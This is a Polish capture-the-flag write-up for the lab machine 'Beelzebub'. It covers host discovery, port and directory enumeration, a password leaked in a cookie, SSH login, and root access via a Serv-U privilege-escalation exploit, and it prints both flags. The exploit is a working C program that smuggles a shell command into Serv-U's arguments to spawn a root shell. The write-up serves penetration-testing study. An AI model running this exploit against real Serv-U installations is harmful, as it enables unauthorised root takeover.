CTF - Beelzebub
Autor
: adi7312
Poziom trudności: łatwy
Link do maszyny: Beelzebub.
Skanowanie sieci
Cel: Znaleźć IP podatnej maszyny.
W celu znalezienia maszyny Beelzebub korzystamy z polecenia:
netdisocer -r 192.168.138.0/24
IP Beelzebub’a: 192.168.138.136
Skanowanie portów
Cel: Dokonać enumeracji wersji usług, dowiedzieć się na jakim systemie operacyjnym działa host
nmap 192.168.138.136 -sV -O -Pn
Jak widzimy host operuje na 2 portach: 22 - ssh, 80 - http.
Enumeracja
Korzystamy z narzędzia dirb, wpisujemy polecenie:
dirb http://192.168.138.136:80/
Wynikiem tego polecenia jest lista plików i folderów które znajdują się w naszym wrażliwym hoście. Przejrzyjmy sobie część tych plików zacznijmy od index.php w głównym katalogu.
Wpisując w przeglądarkę http://192.168.138.136:80/index.php nie otrzymujemy nic ciekawego, jednak w samym kodzie źródłowym możemy znaleźć podpowiedź.
Zamieńmy zatem wartość beelzebub na hash md5.
echo -n "beelzebub" | md5sum
Output: d18e1e22becbd915b45e0e655429d487
Spróbujmy teraz przejść na stronę z danym hashem i odziwo nie dostajemy Not found tylko unable to connect oznacza to, że dany folder istnieje ale nie możemy połączyć sie na daną stronę, ponownie dokonujemy enumeracji.
dirb http://192.168.138.136/d18e1e22becbd915b45e0e655429d487/
Z powyższych katalogów najbardziej będzie nas interesować wp-content/uploads. W przeglądarce wygląda on tak:
Po wejściu w kataolog Talk to VALAK ukazuje nam się strona, wpisujemy tam dowolną nazwę i patrzymy na zakładkę Network w Web Developerze.
W nagłówku znajdował się plik cookie ustawiający hasło M4k3Ad3a1. Widziliśmy wcześniej że host ma otwarty port ssh, więc połączymy się z naszym hostem przez ssh. Wpisujemy więc polecenie:
ssh krampus@192.168.138.136
Oraz podajemy zdobyte przed chwilą hasło.
Eskalacja uprawnień oraz zdobycie flagi
Po zalogowaniu się, możemy potwierdzić że jesteśmy użytkownikiem krampus poleceniem whoami
. Następnie używamy polecenia sudo -l
, jednak nasz użytkownik nie może wykonać żadnego polecenia sudo, zatem szukamy wskazówek gdzie indziej. Po wpisaniu polecenia ls -la
widzimy pewien element nazwany .Serv-U-Tray.conf, po krótki researchu dowiedzielismy się że możemy wykorzystać podatność serwera FTP Serv-u-tray do eskalacji uprawnień, tworzymy plik poleceniem: touch priv_esc.c
oraz edytujemy jego zawartość poleceniem nano priv_esc.c
. Wpisujemy poniższy kod.
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
int main()
{
char *vuln_args[] = {"\" ; id; echo 'opening root shell' ; /bin/sh; \"", "-prepareinstallation", NULL};
int ret_val = execv("/usr/local/Serv-U/Serv-U", vuln_args);
// if execv is successful, we won't reach here
printf("ret val: %d errno: %d\n", ret_val, errno);
return errno;
}
W nastepnej kolejności należy skompilować nasz program, robimy to poleceniem gcc priv_esc.c
. Kompilator utworzył nam plik a.out, nadajemy temu plikowi uprawnienia executable poleceniem chmod +x a.out
. Wykonujemy nasz program poleceniem ./a.out
. Otrzymaliśmy uprawnienia roota.
W celu zdobycia flagi użytkownika wchodzimy na puplit Krampusa i otwieramy flagę user.txt.
cd /home/krampus/Desktop; cat user.txt
Output: aq12uu909a0q921a2819b05568a992m9
W celu zdobycia flagi roota przechodzimy do katalogu /root i otwieramy flagę.
cd /root; cat root.txt
Output: 8955qpasq8qq807879p75e1rr24cr1a5